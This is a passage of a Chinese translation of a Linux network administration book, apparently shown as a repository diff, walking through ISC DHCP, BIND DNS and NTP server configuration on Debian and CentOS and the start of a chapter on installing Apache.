我们将默认和最大租期设置为相同的数量。 如果我们愿意,我们还可以包括`min-lease-time`,以便在客户要求更少的情况下强制执行最小租赁时间。 - -考虑以下两行: - -```sh -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; - -``` - -在这一节中,我们将设置给客户端的子网掩码和广播地址。 正如您可能已经知道的,子网掩码标识每个连接节点将属于的网络。 当客户端检查他们的 IP 信息后,提供了一个地址,我们识别的子网掩码将显示。 广播地址是子网内的所有节点都能在其上接收数据包的地址。 - -考虑以下两行: - -```sh -option domain-name "local.lan"; -authoritative; - -``` - -在这里,我们将域名`local.lan`附加到连接到 DHCP 服务器的每个节点的主机名。 这一步无论如何都不是必需的,但如果要在网络中规范化域名,这一步会很有用。 我们还将`authoritative`包含在我们的配置中,以确定我们的 DHCP 服务器是这个子网的主服务器。 - -考虑以下几行: - -```sh -subnet 10.10.96.0 netmask 255.255.252.0 { - range 10.10.99.1 10.10.99.254; - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; -} - -``` - -最后,我们在最后有一个非常重要的代码块。 这里,我们识别子网的网络地址、子网掩码、我们发布的 IP 地址范围、默认网关和 DNS 服务器。 在本例中,我们将从`10.10.99.100`开始第一个 dhcp 发出的地址,并在`10.10.99.254`结束池。 如果您回想一下前面的`ipcalc`输出,您会注意到这个子网中的第一个地址从`10.10.96.1`开始。 相反,在那里开始我们的泳池,我们在更晚的时候开始我们的泳池。 为了便于参考,我们使用了`10.10.96.0/22`网络,它给我们提供了以下子网: - -```sh -10.10.96.0 -10.10.97.0 -10.10.98.0 -10.10.99.0 - -``` - -如果需要,可以将 DHCP 范围设置为从`10.10.96.1`开始,从`10.10.99.254`结束。 在这种情况下,我们将有 1022 个 DHCP 地址。 但是,在我的配置中没有这样做的原因是,前三个网络已经被保留了几种用途。 我将第一个(`10.10.96.0/22`)用于服务器,第二个用于 DHCP 预订,第三个用于网络设备。 由于前三个子网不在 DHCP 范围内,DHCP 服务器永远不会向客户端提供任何这些地址,所以我不必担心 DHCP 租期处理我可能设置的静态地址。 确保静态 IP 地址不在 DHCP 范围内是一种非常常见的做法。 - -公平地说,这种配置相当复杂,因为我将向您展示如何使用 DHCP 使用多个子网,而不是只关注一个网络。 简化一点,如果我们设置一个默认的 24 位网络,我们的配置将如下所示(如果我们使用的是`10.10.10.0/24`网络): - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.255.0; -option broadcast-address 10.10.10.255; -option domain-name "local.lan"; -authoritative; -subnet 10.10.10.0 netmask 255.255.255.0 { - range 10.10.10.10 10.10.10.254; - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; -} -``` - -通过这个配置,我将 DHCP 范围设置为从`10.10.10.10`开始,到`10.10.10.254`结束。 这给了我 9 个永远不会被分配的 IP 地址(`10.10.10.1`-`10.10.10.9`),所以我有空间设置一些静态 IP 地址。 - -所以,我在这里多次提到了*静态 IP 地址*。 您可能已经知道这意味着什么,但有必要详细说明静态 IP 地址对于服务器是一个很好的想法。 这些地址是为某些服务器或节点保留的,您希望它们每次都有相同的 IP 地址。 如果您以前配置过网络,那么这可能是一个很简单的操作。 还有一个静态租赁的概念很重要嗯。 静态租期也称为**预订**。 在是静态租约的情况下,IP 地址仍然由 DHCP 服务器提供,客户端仍然使用 DHCP 请求地址。 不同之处在于客户端每次连接时都会收到相同的地址。 - -建立静态租约非常简单。 可以将预约放在您的`/etc/dhcp/dhcpd.conf`文件的末尾。 下面是一个示例来展示它的语法: - -```sh -host bahamut { - hardware ethernet 28:B2:BD:05:1E:00; - fixed-address 10.10.97.4; -} -``` - -这里,我们有一个名为`bahamut`的主机,其 MAC 地址为`28:B2:BD:05:1E:00`。 名称是任意的; 除了让我们记住预订是给哪位主人外,它没有任何实际意义。 它不必匹配请求 IP 的设备的主机名。 这段代码中的两行简单地表示,当网卡连接到带有 MAC 地址`28:B2:BD:05:1E:00`的 DHCP 服务器时,它需要提供一个 IP 地址`10.10.97.4`。 我们可以为希望分配的静态租期添加尽可能多的类似代码块。 - -您可能想知道,什么时候应该使用静态 IP,什么时候应该使用静态租期? 在我看来,只要有意义并且适合您的网络设计,就应该使用静态租期。 对于静态租期,只要您想查看所有预订的概述,就只需要检查`/etc/dhcp/dhcpd.conf`文件。 此外,主机将始终收到相同的 IP 地址,即使您重新安装操作系统或从动态安装镜像启动它。 对于静态租约,您不需要在主机本身上配置任何东西。 一般来说,静态租赁更容易管理。 当然,您自己的偏好将取代这一点。 - -最后,为了使 DHCP 服务器正常运行,必须启动它并将其配置为在引导时运行。 Debian 已经启用了守护进程,所以你只需要重新启动它,我们的配置才能生效: - -```sh -# systemctl restart isc-dhcp-server - -``` - -对于 CentOS,我们需要手动启用和启动服务: - -```sh -# systemctl enable dhcpd -# systemctl start dhcpd - -``` - -如您所见,在 Linux 上配置 DHCP 服务器相当简单和直接。 当然,还有高级的使用场景和大量的额外选项。 但是对于大多数的目的,这里概述的配置应该足够了。 - -# 安装配置 DNS 服务器 - -**域名系统**(**DNS**)使得网络资源的导航更加容易。 除非您有一个非常小的网络,否则不太可能记住哪些 IP 地址属于哪些机器。 DNS 通过将名称映射到 IP 地址来提供帮助,因此您可以通过计算机的主机名来引用计算机,而 DNS 将完成将主机名转换回 IP 地址的工作。 - -DNS 是几乎每个拥有网络连接设备的人都一直在使用的东西之一,不管用户是否意识到它。 计算机、服务器、智能手机、平板电脑、智能电器等等都利用 DNS。 每当您在 Internet 上查找服务(例如网站或远程资源)时,DNS 将资源的名称转换为 IP 地址。 - -虽然 DNS 的概念和它对我们的作用可能是众所周知的,但它是那些很容易被认为是理所当然的事情之一。 DNS 是那些神秘的东西之一,它在后台工作,让我们的生活更轻松。 我们大多数人使用它,但很少人真正了解它是如何工作的。 每当您连接到一个**Internet 服务提供商**(**ISP**)时,通常会分配一两个 DNS 服务器用于您的连接。 更聪明的用户通常会绕过 ISP 分配给第三方服务器的 DNS 服务器,比如谷歌或 OpenDNS 所使用的服务器,以争取额外的性能。 - -DNS 在您的内部网络中也很有用。 大多数拥有超过几个工作站的公司都会设置 DNS,而且这是合理的。 它使你的网络导航变得轻而易举。 例如,将本地彩色打印机称为`hp-color-01`比记住 IP 地址(如`10.19.89.40`)更容易。 在这种情况下,添加打印机将很容易。 只需让您的操作系统通过名称浏览它。 网络上的任何资源都可以命名,为所有网络资源创建一致且可预测的命名方案是一个好主意。 我们来做一下。 - -通常,在基于 debian 的发行版中,所需包的命名与 CentOS 略有不同。 在 Debian 中,您要安装的包是`bind9`。 CentOS 只是简单的调用他们的`bind`。 如果你想知道,**BIND**代表**伯克利互联网域名**(以其开发的地方命名,即加州大学伯克利分校)。 这是互联网上最流行的名称服务器,所以您一定要熟悉它。 同时,如果您在 CentOS 系统上运行此活动,我建议安装`bind-utils`。 这为我们提供了`dig`命令,该命令对我们的目的非常有用。 - -第一步是在服务器上安装所需的包,然后您需要做的就是启动它,并确保它能够在启动时运行。 Debian 已经负责启动守护进程并为我们启用它。 你可以用下面的命令来确认: - -```sh -# systemctl status bind9 - -``` - -CentOS 没有配置`bind`守护进程来自动启动,它也没有为你启动它。 如果 CentOS 是你的发行版,你会想要执行以下命令来启用`bind`并启动它: - -```sh -# systemctl enable named -# systemctl start named - -``` - -完成此操作后,您实际上拥有了一个可用的 DNS 服务器。 当然,我们没有配置任何东西,所以我们的 DNS 服务器实际上并没有为我们做很多事情。 但是现在我们已经安装了它,我们可以向它添加记录并构建配置。 - -首先,让我们看一下默认配置文件。 Debian 将 bind 的默认配置文件存储在`/etc/bind/named.conf`。 CentOS 将其存储在`/etc/named.conf`(它没有自己的目录)。 看看这个文件,了解一下配置是如何工作的。 我们将使用我们自己的配置文件,所以我建议您备份默认文件,然后安装我们自己的。 - -首先,让我们在发行版的默认目录(Debian 中的`/etc/bind/named.conf`和 CentOS 中的`/etc/named.conf`)中创建一个新的`named.conf`文件。 不管您使用的是哪个发行版,我们都将使该文件保持不变。 如果该文件中已经有文本,则将其复制到备份中或将其清空,因为以下两行是该文件中唯一需要的文本: - -```sh -include "/etc/bind/named.conf.options"; -include "/etc/bind/named.conf.local"; - -``` - -这里,我们将包含两个额外的文件(我们将很快创建)。 如您所见,我们的`named.conf`文件只是调用这些文件,并且不包含其他配置。 这样,我们就可以创建自己的标准位置来查找这些文件。 `/etc/bind`已经是 Debian 中的默认位置,但是在 CentOS 中调用这个目录,我们可以强制它在相同的位置寻找配置。 但是在 CentOS 中,您需要创建`/etc/bind`目录。 命令如下: - -```sh -# mkdir /etc/bind - -``` - -接下来,让我们创建我们的`/etc/bind/named.conf.options`文件并自定义它: - -```sh -options { - forwarders { - 8.8.8.8; 8.8.4.4; - }; -}; -``` - -在这里,我们创建了一个选项块,其中一些代码夹在花括号之间,然后包括一组额外的花括号,用于标识转发地址。 由于此 DNS 服务器用于在我们的内部网络中定位资源,所以转发器块告诉我们的 DNS 服务器将请求发送到哪里,如果它在本地无法找到它要查找的内容。 您的 DNS 服务器很可能在没有此功能的情况下仍然运行良好,因为在大多数情况下,它仍然会尝试另一个 DNS 服务器。 但是在这里设置转发器允许我们强制执行我们想要的 DNS 查找,以防我们在外部寻找某些东西。 在这个示例中,我使用的是谷歌的公共 DNS 服务器。 但是,你可以自己选择。 在[www.opennicproject.org](http://www.opennicproject.org)可以找到一些额外的 DNS 服务器(通常比较好),如果您关心隐私或跟踪,这也是一个很好的选择。 - -我们的下一个文件是`/etc/bind/named.conf.local`,它包含以下代码: - -```sh -zone "local.lan" IN { - type master; file "/etc/bind/net.local.lan"; -}; - -zone "96.10.10.in-appr.arpa" { - type master; notify no; file "/etc/bind/revp.10.10.96"; -}; - -zone "97.10.10.in-appr.arpa" { - type master; notify no; file "/etc/bind/revp.10.10.97"; -}; - -zone "98.10.10.in-appr.arpa" { - type master; notify no; file "/etc/bind/revp.10.10.98"; -}; - -zone "99.10.10.in-appr.arpa" { - type master; notify no; file "/etc/bind/revp.10.10.99"; -}; -``` - -在这个文件中,我们从标识我们的域名开始。 这里,我选择了`local.lan`。 由于此服务器对 Internet 上的任何内容都不具有权威性,因此此名称很适用。 在这个块中,我们调用另一个文件`/etc/bind/net.local.lan`。 实际上,如您所见,这里调用了几个文件(总共五个)。 第一个是我们的主要 DNS 区域,也是其中最重要的一个。 接下来是我们配置反向 DNS 查找的地方。 从本质上讲,DNS 不仅允许我们将主机名映射到 IP 地址,而且我们还可以反向操作(将 IP 地址映射回主机名)。 您可能不需要我在示例中创建的所有文件。 对于我的子网,我正在为我的四个子网中的每个创建一个反向查找文件。 如果不创建多个子网,则只需要创建一个。 它们的命名约定是`revp`,后面是 IP 地址的网络部分。 例如,我的`10.10.99.0`网络的反向查找文件是`revp.10.10.99`。 这些文件也将存储在`/etc/bind`中。 - -现在,让我们看看我们的主记录,也就是`/etc/bind/net.local.lan`文件: - -```sh -; -; dns zone for for local.lan -; - -$TTL 1D - -@ IN SOA local.lan. hostmaster.local.lan. ( - -201507261 ; serial - -8H ; refresh -4H ; retry -4W ; expire -1D ) ; minimum -IN A 10.10.96.1 -; -@ IN NS hermes.local.lan. -ceres IN A 10.10.98.1 -euphoria IN A 10.10.97.4 -galaxy IN A 10.10.96.4 -hermes IN A 10.10.96.1 -puppet CNAME galaxy -; -; dns zone for for local.lan -; -``` - -首先,我放置了一些以分号开头的通用注释。 如果一行以分号开头,它将被`bind`忽略。 注释是一种留下关于配置的笔记或事实的好方法。 然而,注释在`bind`中并不常用。 接下来,我们将**Time To Live**(**TTL**)设为一天: - -```sh -$TTL 1D - -``` - -这个值决定了其他 DNS 服务器能够缓存每条记录的时间。 在此期间之后,任何缓存了其中一条记录的服务器都必须丢弃它们。 对于设置内部 DNS 服务器而言,这个值对我们影响不大。 但是,如果您正在设置多个 DNS 服务器,那么这可能是一个需要配置的重要值。 TTL 值可能有用的一个例子是将地址记录更改为不同的 IP 地址。 假设您要将电子邮件主机切换到另一个提供商。 在这种情况下,您将相应地更改地址记录。 然而,在您执行此更改之前,您可以将 TTL 降低到更低的值,例如 1 小时,并在进行此更改之前执行此操作。 然后,服务器被迫放弃这个区域并刷新它,从而使它更快地看到您在电子邮件提供者中的更改。 当你完成时,你会把这个变回来。 通过以下一行,我们确定了 a**起始权限**(**SOA**): - -```sh -@ IN SOA local.lan. hostmaster.local.lan. ( - -``` - -在本例中,我们正在识别此 DNS 服务器对`local.lan`域具有权限。 我们也澄清`hostmaster.local.lan`对此负责。 尽管看起来可能不像,但`hostmaster.local.lan`实际上是 bind 喜欢的格式的电子邮件地址。 然而,这显然是一个假地址,这对我们的内部 DNS 服务器没有影响。 在这一行的末尾,我们打开了一个配置块,在本例中是一个左括号。 下面的行代表我们的串行,这是一个非常重要的概念,为了我们的 DNS 服务器正常工作: - -```sh -201507261 ; serial - -``` - -每次我们的`bind`守护进程重启时,它都会重新加载这个文件。 但当它这样做的时候,序列号是它首先要看的东西。 如果是相同的,它可能不会加载任何更改。 因此,每当您更改`bind`中的区域文件时,您也必须更改此序列号。 在本例中,当前日期不使用连字符或空格。 最后一位数字只是当天的修订号,如果文件在一天中被更改多次。 您可以使用任何您喜欢的方案。 但使用日期是一种非常流行的方法。 无论您使用的格式是什么,每次更改时都要确保将序列增加 1。 这样您就不用担心为什么新创建的记录不起作用了。 - -```sh -8H ; refresh -4H ; retry -4W ; expire -1D ) ; minimum -``` - -这些值指示从 DNS 服务器检查更新的频率。 第一个值将配置从服务器每 8 小时刷新主服务器(此服务器)的区域记录。 至于重试,我们让奴隶知道,如果有一个问题连接,在这段时间检查回来。 最后,我们将区域记录的最低年龄设定为一天,最高为四周。 配置从 DNS 服务器超出了本书的范围,但是如果您以后决定配置从 DNS 服务器,那么在适当的地方配置这个配置不会有任何影响。 - -```sh -@ IN NS hermes.local.lan. - -``` - -这里,我们正在识别这个名称服务器。 在我的例子中,我称其为`hermes`,其完整域名为`hermes.local.lan`。 - -```sh -galaxy IN A 10.10.96.4 -hermes IN A 10.10.96.1 - -``` - -最后,在这个示例配置中,将调用四个地址记录。 这基本上意味着,任何时候当有人在寻找这些主机之一时,请求就会映射到列出的域名。 它们可以在多个子网中,也可以在单个子网中。 在我的例子中,这些主机在不同的子网中: - -```sh -puppet CNAME galaxy - -``` - -该配置的最后一行包含一个**规范名**(**CNAME**)记录。 基本上,这允许我们通过另一个名称来引用服务器。 在本例中,`galaxy`还用于称为`puppet`的软件,因此为其设置了一个 CNAME 记录。 这样,如果有人试图访问`galaxy.local.lan`或`puppet.local.lan`,他们的请求将解析到相同的 IP 地址(`10.10.96.4`)。 如果单个服务器向网络提供多个服务,那么 CNAME 记录可能非常有用。 - -前面,我调用了四个反向查找记录`/etc/bind/revp.10.10.96`、`/etc/bind/revp.10.10.97`、`/etc/bind/revp.10.10.98`和`revp.10.10.99`。 接下来,我将演示其中一个文件(在本例中,是针对`10.10.96.0`网络的): - -```sh -$TTL 1D -@ IN SOA hermes.local.lan. hostmaster.local.lan. ( -201507261 ; serial -28800 ; refresh (8 hours) -14400 ; retry (4 hours) -2419200 ; expire (4 weeks) -86400 ; minimum (1 day) -) -; -@ NS hermes.local.lan. -1 PTR hermes.local.lan. -3 PTR nagios.local.lan. -4 PTR galaxy.local.lan. - -``` - -通过这个配置,您将注意到我们有一个与主区域一样的*起始权限*记录,并且我们还有一个序列号。 同样的想法也适用于这里。 无论何时更新任何记录(包括反向查找记录),都应该更新文件的序列号。 权限输入的开始和前面一样,这里没有什么奇怪的。 文件的不同之处在于如何调用主机。 我们不需要调用整个 IP 地址,只需要识别最后一个八位元,因为整个文件都专门用于从`10.10.96.0`网络反向查找 IP 地址。 对于每个子网,您都需要创建一个类似的文件。 同样,在我们的示例配置中有 4 个子网,但您不需要那么多。 以这种方式提供它只是为了提供一个如何处理独立子网的示例,如果您需要这样做的话。 - -在我们的配置就绪后,您可以在 DNS 服务器上重新启动绑定服务并进行测试。 我们可以像前面一样使用`systemctl`命令重新启动`bind`。 - -对于 Debian,使用以下命令: - -```sh -# systemctl restart bind9 - -``` - -对于 CentOS,使用如下命令: - -```sh -# systemctl restart named - -``` - -测试 DNS 服务器的一种方法是通过`dig`命令。 使用 Debian,您应该已经安装了这个包。 CentOS 操作系统需要安装`bind-utils`包。 `dig`(域名信息摸索器)是一个实用程序,它允许我们从 DNS 服务器请求信息。 尝试使用一个内部主机名: - -```sh -dig myhostname.local.lan - -``` - -如果您的 DNS 服务器出现在输出的`SERVER`下,那么您的 DNS 服务器运行正常。 如果由于某些原因它没有,验证您键入的内容、您的序列号,以及自上次配置更改以来是否重新启动了`bind`。 - -您可以在 DNS 服务器中练习设置其他节点和记录。 开始时,设置`bind`可能会令人沮丧,但坚持下去,你很快就会成为专业人士。 通过使用本节中的示例,您应该有了一个可用于在环境中设置 DNS 服务器的工作框架。 确保将配置文件中包含的主机名和 IP 地址更改为与您的网络匹配的主机名和 IP 地址。 此外,确保您设置了`bind`来匹配您的子网,或者删除其他子网(如果没有的话)。 为了安全起见,与其直接从本书中复制配置,为了以防万一,通常最好是手动键入所有内容。 - -# 搭建内部 NTP 服务器 - -大多数 Linux 发行版都提供了**网络时间协议**(**NTP**)客户端,可以用来更新本地时间。 其思想是,在配置了 NTP 客户端后,您的计算机或服务器将定期检查互联网上某处的 NTP 服务器,并同步其时钟,以确保它尽可能准确。 这一点非常重要; 如果时钟关闭,在 Linux 机器上会发生非常奇怪的事情。 这些异常包括节点无法与 DHCP 服务器关联以获取 IP 地址,文件在文件服务器之间无法同步,等等。 这个故事的寓意是:您将希望在您的环境中设置 NTP 并使其工作。 - -相当多的针对终端用户工作站的 Linux 发行版(如 Ubuntu、Linux Mint 等)通常会为您设置一个 NTP 客户机。 这意味着开箱即用,您的时钟很有可能已经同步了,当然,假设您的安装可以访问 Internet。 默认情况下,这些客户机将连接到特定于发行版的 NTP 服务器。 这可能非常好,但是设置自己的 NTP 服务器也有好处。 这样做的一个很好的原因是,通过设置自己的 NTP 服务器,您就是一个优秀的网络公民。 这样想。 如果您有一个公司,有 100 台 Linux 机器,如果保留默认配置,那么每台机器都将定期检查一个公共 NTP 服务器。 这会对服务器造成不必要的压力。 如果您设置了自己的 NTP 服务器,那么只有一个服务器将检查公共服务器,这意味着您将吸收更少的资源。 另外,一些公司出于安全原因不允许公众访问**端口 123**(NTP 使用的端口)。 然而,可能会允许单个 NTP 服务器访问端口 123,然后您可以将客户机配置为连接并使用 NTP。 - -在我们开始设置 NTP 服务器之前,有一点很重要,那就是 Debian 和 CentOS 通常是没有安装 NTP 客户端的例外。 取决于您在安装期间选择的选项和包,NTP 客户端可能还没有正常工作,也可能还没有正常工作。 在我的测试环境中,当我分别通过最小安装和网络安装安装 CentOS 和 Debian 时,默认情况下都没有工作的 NTP 客户端。 然而,设置 NTP 客户端非常简单。 您所要做的就是安装 NTP 并启用它。 这实际上是 Debian 和 CentOS 对同一个包使用相同名称的罕见情况之一。 这个包被简单地称为`ntp`,所以如果您还没有安装它,请继续安装它。 安装完成后,Debian 将启动`ntp`守护进程并为您启用它。 在 CentOS 中,执行以下命令来启动它: - -```sh -# systemctl enable ntpd -# systemctl start ntpd - -``` - -对于这两个发行版,安装包后将创建文件`/etc/ntp.conf`,并且这个文件将有一个默认配置,将您的 NTP 客户端指向您发行版的 NTP 服务器。 如果您想知道它是什么样子的,请随意快速查看这个文件。 要查看您的机器正在与哪个服务器同步,以及与同步有关的一些统计信息,请执行`ntpq -p`命令。 - -![Setting up an internal NTP server](img/B03919_06_02.jpg) - -查看已连接的 NTP 服务器 - -首先,让我们快速看一下这些数字的含义。 第一列`remote`包括我们所连接的 NTP 服务器的列表,这并不奇怪。 接下来是`refid`,这是这些服务器连接到的地方。 `st`列指的是该服务器的**层**,这个数字指的是该时间服务器所在的层。 通常情况下,数字越低越好; 因为这意味着服务器离提供它时间的源相当近。 链下的每个服务器都有一个增加的层; 最低并不总是意味着服务器更好,但一般来说,较低的数字是好的。 `t`列表示类型。 这可以是单播、广播、多播或多播。 在本例中,我们有`u`用于单播。 - -`when`列表示服务器最近一次轮询是多久以前。 在示例截图中,每个服务器分别在 28 秒、24 秒、21 秒和 61 秒之前轮询。 这也可以以小时或天为单位列出。 `poll`列表示轮询频率,这里设置为每 64 秒轮询一次。 `reach`列是一个八进制数字,它包含最近 8 次 NTP 更新的结果。 如果所有 8 个都成功了,这个值将读取 377,这是它所能获得的最高值。 这意味着所有 8 次尝试都得到 1(成功),在八进制中,总数为 377。 - -最后,`delay`字段将延迟(以毫秒为单位)引用到 NTP 服务器。 `offset`字段表示本地时钟与服务器时钟的差值。 最后,`jitter`表示您与服务器之间的网络延迟。 - -为了设置 NTP 服务器,您必须首先安装本章前面提到的客户端。 安装它,将守护进程配置为自动启动,然后启动它。 在执行这些任务之后,您已经基本完成了(同样的客户机也用于服务器)。 基本上,如果您将其他计算机指向一个安装并配置了 NTP 的服务器,您基本上就拥有了所需的一切。 - -然而,有一些东西应该首先配置。 主要是`/etc/ntp.conf`配置文件。 这个文件在 Debian 和 CentOS 中位于相同的位置。 如果你查看这个文件,你会看到一些类似如下的行: - -```sh -server 0.centos.pool.ntp.org iburst -server 1.centos.pool.ntp.org iburst -server 2.centos.pool.ntp.org iburst -server 3.centos.pool.ntp.org iburst - -``` - -这里,您可以看到,在默认情况下,CentOS 会识别四个要同步的 NTP 服务器。 这些服务器对于大多数用例来说通常都很好,但是您可能想要考虑官方的 NTP 服务器。 为此,请浏览以下网站: - -[http://www.pool.ntp.org](http://www.pool.ntp.org) - -通过该网站可以查看“NTP Pool Project”的官方 NTP 服务器。 要导航,在右边选择你的大陆,然后选择你的国家。 然后,您应该看到可以使用的 NTP 服务器的列表。 在我的案例中,我得到了以下细节: - -```sh -server 0.north-america.pool.ntp.org -server 1.north-america.pool.ntp.org -server 2.north-america.pool.ntp.org -server 3.north-america.pool.ntp.org - -``` - -是使用发行版提供的 NTP 服务器,还是使用 NTP 池项目提供的 NTP 服务器,这取决于您。 就我个人而言,我更喜欢后者。 在配置好服务器之后,还有一处需要修改。 你应该在配置中看到类似以下的一行在 CentOS: - -```sh -#restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap - -``` - -或者,在 Debian 中类似如下: - -```sh -#restrict 192.168.123.0 mask 255.255.255.0 notrust - -``` - -在您的 NTP 服务器上,取消对这一行的注释,并将网络地址和子网改为您的。 如果有`notrust`,删除它。 作为参考,我的配置中的行显示如下: - -```sh -restrict 10.10.96.0 mask 255.255.252.0 nomodify notrap - -``` - -通过这个配置,我们限制了对本地客户机的 NTP 访问,并确保它们无法访问更改 NTP 服务器上的配置(只能从服务器读取)。 我喜欢在 NTP 中做的另一个更改是指定一个日志文件。 systemd 负责使用`journalctl`进行日志记录,但有时在出现问题时,使用一个文本文件来仔细阅读是很有用的。 如果你喜欢这样,那么在靠近顶部的地方添加以下一行: - -```sh -logfile /var/log/ntp.log - -``` - -如果你有任何问题,检查那个文件。 接下来,如果您使用 CentOS 作为 NTP 服务器,您应该通过其防火墙启用 NTP 通信。 要做到这一点,运行以下代码: - -```sh -firewall-cmd --add-service=ntp –permanent -firewall-cmd --reload - -``` - -现在我们已经解决了这个问题,重新启动您的 NTP 服务器。 我们可以通过以下命令之一(作为根)来完成。 - -在 CentOS 上使用 `systemctl restart ntpd`命令,在 Debian 上使用`systemctl restart ntp`命令。 - -此时,您拥有一个 NTP 服务器。 在您的客户机上,将它们配置为与之同步的服务器更改为您已指定为 NTP 服务器的机器的 IP。 在我的例子中,命令如下: - -```sh -server 10.10.99.133 - -``` - -重新启动 NTP 后,给系统一些时间进行同步。 在某些情况下,它们可能需要半个多小时才能开始同步。 给它一点时间,然后检查您的配置,以确保它与`ntpq -p`命令同步。 - -![Setting up an internal NTP server](img/B03919_06_03.jpg) - -与自定义 NTP 服务器同步的机器的输出 - -正如您可以在我的测试环境的输出中看到的,我在`10.10.99.123`启动了一个 NTP 服务器,Debian 机器正在与之同步,当前服务器的可达性为`7`,但是这个数字正在缓慢上升。 这很好,因为服务器只运行了几分钟。 - -如果您有任何问题,请确保您的网络中的任何防火墙中的 123 端口是开放的(使用 CentOS 作为服务器,请确保您已经运行了前面提到的防火墙命令)。 但是在您感到沮丧之前,给它一些时间——在第一次设置 NTP 服务器时,花一点时间启动它是很常见的。 通常情况下,所有事情都应该在 20 分钟内完成,但我曾见过需要更长的时间。 - -# 总结 - -在本章中,我们配置了我们的网络布局。 我们首先讨论了如何规划网络 IP 地址布局,然后通过创建自己的 DHCP 服务器将其付诸实践。 本文讨论了如何在没有多个子网的情况下将该配置划分为多个子网。 我们继续设置一个 DNS 服务器,以便可以通过名称解析网络节点。 通过设置 NTP 服务器,我们可以确保所有节点都有正确的时间,从而结束了本章。 - -在下一章中,我们将研究用 Apache 托管 web 内容。 \ No newline at end of file diff --git a/docs/master-linux-net-admin/07.md b/docs/master-linux-net-admin/07.md deleted file mode 100644 index be6e818c..00000000 --- a/docs/master-linux-net-admin/07.md +++ /dev/null @@ -1,382 +0,0 @@ -# 七、通过 Apache 托管 HTTP 内容 - -**Apache**是在互联网上使用的最常见的 web 服务器。 虽然也有其他可用的 web 服务器,如微软的**Internet 信息服务**(**IIS**),但在提供 web 内容方面,Apache 独占鳌头。 在 Linux 和 UNIX 平台上都可用,Apache 使您能够托管内容,并通过本地内部网和 Internet 共享内容。 Apache 服务器有许多用途,包括(但肯定不限于)托管博客或公司网站,或为公司设置员工门户。 - -在本章中,您将学习有关安装和配置 Apache 的所有内容。 我们将涵盖以下议题: - -* 安装 Apache -* 配置 Apache -* 添加模块 -* 设置虚拟主机 - -# 安装 Apache - -通常,在系统上安装 Apache 只是从包管理器中安装适当的包。 在 CentOS 系统上可以通过安装`httpd`包获取 Apache,在 Debian 系统上可以通过`apache2`包获取(以`yum install httpd` 或`apt-get install apache2 respectively`为根)。 一旦安装了这个包,Apache 的守护进程就会提供一组默认的配置文件。 您可以使用`systemctl`来确认系统上是否存在这个守护进程,但是守护进程的名称因发行版的不同而不同。 - -在 Debian 上使用以下命令: - -```sh -# systemctl status apache2 - -``` - -在 CentOS 操作系统中使用如下命令: - -```sh -# systemctl status httpd - -``` - -默认情况下,Debian 会为您启动并启用守护进程。 一如既往,CentOS 不做任何假设,也不做任何假设。 您可以使用`systemctl`命令轻松地启动和启用该守护进程: - -```sh -# systemctl enable httpd -# systemctl start httpd - -``` - -一旦你安装并启用了 Apache,从技术上来说,你的网络上已经有了一个工作的 web 服务器。 它可能不是特别有用(我们还没有对它进行配置),但在这一点上它是存在的,而且从技术上讲它是可以工作的。 CentOS 和 Debian 版本的 Apache 都在同一个目录`/var/www/html`中寻找 web 内容。 在那里,Debian 以`index.html`文件的形式创建了一个示例 web 页面,您可以通过另一台计算机上的 web 浏览器查看该页面(只需将其指向您的 web 服务器的 IP 地址)。 另一方面,CentOS 没有为您创建一个示例 HTML 页面。 这很容易纠正; 您所需要做的就是手动创建带有一些示例代码的`/var/www/html/index.html`文件。 它不需要太奢侈; 我们只是想确保我们有可以测试的东西。 例如,你可以将以下代码放入该文件: - -```sh - - Apache test - -

Apache is awesome!

- - -``` - -此时,您应该已经安装了 Apache 并启动了它的服务。 您的系统上还应该有一个示例`/var/www/html/index.html`文件,无论您使用的是 Debian 的默认文件还是您在 CentOS 系统上手动创建的文件。 现在,您应该能够浏览到您的 web 服务器,并通过 web 浏览器查看此页面。 如果你知道你的网络服务器的 IP 地址,只需在你的网络浏览器的地址栏中输入它。 您应该立即看到示例页面。 如果您正在使用 web 服务器上的 web 浏览器,您应该能够浏览到本地主机(`http://127.0.0.1`或`http://localhost`)并查看相同的页面。 - -### 注意事项 - -如果你选择 CentOS 作为你的 web 服务器,如果你试图从另一台机器浏览它,默认防火墙可能会挡住你的路。 根据您的配置,您可能需要允许流量通过防火墙到达您的 web 服务器。 为此,执行以下命令: - -```sh -# firewall-cmd --zone=public --add-port=80/tcp --permanent -# firewall-cmd --reload - -``` - -如果您计划托管一个安全站点,请确保还添加了端口 443。 只需像以前一样使用相同的`firewall-cmd`,但将 80 替换为 443。 - -如果由于的原因没有看到默认页面,请确保 Apache 正在运行(请记住我前面提到的`systemctl status`命令)。 如果守护进程没有运行,您可能会得到一个**连接被拒绝**错误。 另外,请记住,基于硬件的防火墙也可以阻止访问。 - -![Installing Apache](img/B03919_07_01.jpg) - -默认的网页从运行在 Debian 上的未配置的 Apache 提供 - -另一种测试服务器是否正在提供网页的方法是通过`lynx`,这是一个可以在 shell 中使用的基于文本的网页浏览器。 在某些情况下,这可能是首选,因为它没有图形化 web 浏览器的开销,并且启动速度非常快。 一旦你在你的机器上安装了 lynx 包,你可以通过执行`lynx http://localhost`从服务器本身导航到你的 web 服务器,或者`http://`如果你来自不同的机器。 - -![Installing Apache](img/B03919_07_02.jpg) - -使用 lynx 测试 web 服务器功能 - -### 注意事项 - -要退出`lynx`,按*Q*表示退出,再按*Y*表示 yes。 - -正如我提到的,Debian 和 CentOS 都在同一个目录中通过 Apache 共享文件。 这个目录是`/var/www/html`。 为了创建一个网站,你将把你的网站的文件放在这个目录中。 设置 Apache 服务器的典型过程是安装 Apache,然后测试网络上的其他计算机是否可以访问它,最后开发您的站点并将其文件放入这个文件夹。 - -# 配置 Apache - -配置 Apache 是通过编辑它的配置文件来完成的,配置文件将位于两个位置之一,具体取决于您的发行版。 - -在 CentOS 操作系统中使用如下命令: - -```sh -/etc/httpd/conf/httpd.conf - -``` - -在 Debian 上使用以下命令: - -```sh -/etc/apache/apache2.conf - -``` - -可以修改默认的 web 文档目录`/var/www/html`。 虽然`/var/www/html`是相当标准的,但如果你决定将你的 web 文件存储在其他地方,没有什么可以阻止你更改它。 如果您仔细阅读 CentOS 中的配置文件,您会看到这个目录在从第 131 行开始的配置块中被调用。 如果您在 Debian 